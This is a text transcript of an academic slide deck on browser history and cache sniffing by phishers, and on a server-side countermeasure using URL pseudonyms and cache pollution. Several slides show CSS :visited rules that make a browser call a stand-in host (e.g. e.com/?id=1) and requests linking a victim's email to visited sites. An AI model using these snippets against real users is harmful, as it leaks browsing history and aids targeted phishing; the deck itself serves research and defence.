invasive browser sniffing and countermeasures markus jakobsson & sid stamm
Post on 26-Dec-2015
227 Views
Preview:
TRANSCRIPT
Invasive Browser Sniffing and Countermeasures
Markus Jakobsson & Sid Stamm
QuickTime™ and aTIFF (Uncompressed) decompressor
are needed to see this picture.
Qu
ickTim
e™
an
d a
TIF
F (
Uncom
pre
sse
d)
de
com
pre
ssor
are
nee
de
d t
o s
ee t
his
pic
ture
.
Qu
ickTim
e™
and
aTIF
F (
Uncom
pre
ssed
) d
ecom
pre
sso
rare
need
ed
to
see
th
is p
ictu
re.
QuickTime™ and aTIFF (Uncompressed) decompressorare needed to see this picture.
Qu
ickTim
e™
an
d a
TIF
F (
Un
com
pre
sse
d)
deco
mpre
ssor
are
nee
de
d t
o s
ee t
his
pic
ture
.
QuickTime™ and aTIFF (Uncompressed) decompressorare needed to see this picture.
Context Aware Attacks
• Data about targets obtained
• Used to customize emails
• Yields higher vulnerability rate
Context: Social Networks
• Mine site for relationships(Alice knows Bob)
• Spoof email from victim’s friend
• People trust their friends (and that which spoofs them)
Context: Browser-Recon
• Phisher mines browsers– Browsing history– Cached data
• Attacker can discover affiliations
• Easy to pair browser history with email address
Context: Cache Recon
GET /index.html
GET /pics/pic1.jpg
GET /pics/pic2.jpg
…
Pic1.jpg is Not in Cache
(pic1.jpg is not cached)
Context: Cache Recon
GET /index.html
…
Pic1.jpg IS in Cache
(pic1.jpg is cached)
Context: Cache Recon
GET pic1.jpg
GET pic2.jpg
GET logout.jpg
(Felten & Schneider, “Timing Attacks on Web Privacy”7th ACM Conference in Computer & Communication Security, 2000.)
Context: History Recon
Link 1
Link 2
Link 3
<style>a { color: blue; }#id1:visited { color: red; }#id2:visited { color: red; }#id3:visited { color: red; }</style>
<a id=id1 href=“x.com”>Link 1</a><a id=id2 href=“y.com”>Link 2</a><a id=id3 href=“z.com”>Link 3</a>
What You See: The Code:
Context: History Recon
Link 1
Link 3
<style>a { color: blue; }#id1:visited { background: url(‘e.com/?id=1’); }#id2:visited { background: url(‘e.com/?id=2’); }…</style><a id=id1 href=“x.com”>Link 1</a><a id=id2 href=“y.com”>Link 2</a><a id=id3 href=“z.com”>Link 3</a>
What You See: The Code:
Link 2
Context: History Recon
<style>a { color: blue; }#id1:visited { background: url(‘e.com/?id=1’); }#id2:visited { background: url(‘e.com/?id=2’); }…</style><a id=id1 href=“x.com”></a><a id=id2 href=“y.com”></a><a id=id3 href=“z.com”></a>
What You See: The Code:
History Recon + Email
GET /?IAM=alice@x.com
(lots of links)
GET /hit?id=1&IAM=alice@x.com
GET /hit?id=42&IAM=alice@x.com
Phisher can nowassociate Alice withlink 1 and 42
Auto-Fill Identity Extraction
QuickTime™ and aTIFF (Uncompressed) decompressor
are needed to see this picture.
“Chameleon” Attack
Solutions to Browser-recon• Client-Side Solutions:
– Jackson, Bortz, Boneh Mitchell, “Protecting browser state from web privacy attacks”, To appear in WWW06, 2006.
– CSS limiting– “User-Paranoia”
(regularly clear history, cache, keep no bookmarks)
• Server-Side Solution:– Make URLs impossible to guess
Solution Goals
Requirements
1. Hard to guess any pages or resources served by SP
2. Search engines can still index and search SP
Formal Goal Specification
Formal Goal Specification
Solution Techniques
• Two techniques:1. Customize URLs with pseudonyms
http://chase.com/page.html?39fc938f2. Pollute Client State
(fill cache/history with related sites not visited by client)
• Hiding vs. obfuscating• Internal (protected) URLs hidden• Entry point (public) URLs obfuscated
Solution to Browser-recon
SC
GET /
Solution to Browser-recon
SBC ST
GET /?13fc021b GET /
T
Domain of S
Pseudonyms
• Establishing a pseudonym
• Using a pseudonym
• Pseudonym validity check– Via Cookies– Via HTTP-REFERER– Via Message Authentication Codes
Pseudonyms
• Robot Policies– Dealing with search engines– Robots.txt “standard” (no problem if cheating)
• Pollution Policy– Pollute entrance URLs– How to choose pollutants?
• What about links to offsite data?• Bookmarks?
Example
Bank.comC 10.0.0.1
GET /page.html?83fa029 GET /page.html
Example
<a href=‘http://www.g.com’>Go to G</a><a href=‘http://10.0.0.1/login.jsp’>Log in</a><img src=‘/img/hi.gif’>
Bank.comC 10.0.0.1
hm
Example
<a href=‘http://www.g.com’>Go to G</a><a href=‘http://Bank.com/login.jsp’>Log in</a><img src=‘/img/hi.gif’>
Bank.comC 10.0.0.1
hm
Example
<a href=‘http://Bank.com/redir?www.g.com’>Go to G</a><a href=‘http://Bank.com/login.jsp’>Log in</a><img src=‘/img/hi.gif’>
Bank.comC 10.0.0.1
hm
Example
<a href=‘http://Bank.com/redir?www.g.com?83fa029’>Go to G</a><a href=‘http://Bank.com/login.jsp?83fa029’>Log in</a><img src=‘/img/hi.gif?83fa029’>
Bank.comC 10.0.0.1
hm
Example
<a href=‘http://Bank.com/redir?www.g.com?83fa029’>Go to G</a><a href=‘http://Bank.com/login.jsp?83fa029’>Log in</a><img src=‘/img/hi.gif?83fa029’>
Bank.comC 10.0.0.1T
Client’s Perception
QuickTime™ and aTIFF (Uncompressed) decompressorare needed to see this picture.
Policies
• Offsite Redirection Policy
• Data Replacement Policy
• Client vs. Robot Distinction
Special Cases
QuickTime™ and aTIFF (Uncompressed) decompressor
are needed to see this picture.
QuickTime™ and aTIFF (Uncompressed) decompressor
are needed to see this picture.Cache pollution reciprocity
Shared/Transfer Pseudonyms
QuickTime™ and aTIFF (Uncompressed) decompressor
are needed to see this picture.
Prototype Details
• Java App simulating an HTTP server
• Pseudonyms: 64-bit random number– java.security.SecureRandom
• Experimental Client:– Shell script + CURL
SBST
Experimental Results
Experimental Results
Experimental Results
Experimental Results
General Considerations
• Forwarding user-agent
• Translate Cookies
• Optimizations
Invasive Browser Sniffing and Countermeasures
Markus Jakobsson & Sid Stamm
QuickTime™ and aTIFF (Uncompressed) decompressor
are needed to see this picture.
QuickTime™ and aTIFF (Uncompressed) decompressorare needed to see this picture.
?
QuickTime™ and aTIFF (Uncompressed) decompressorare needed to see this picture.
top related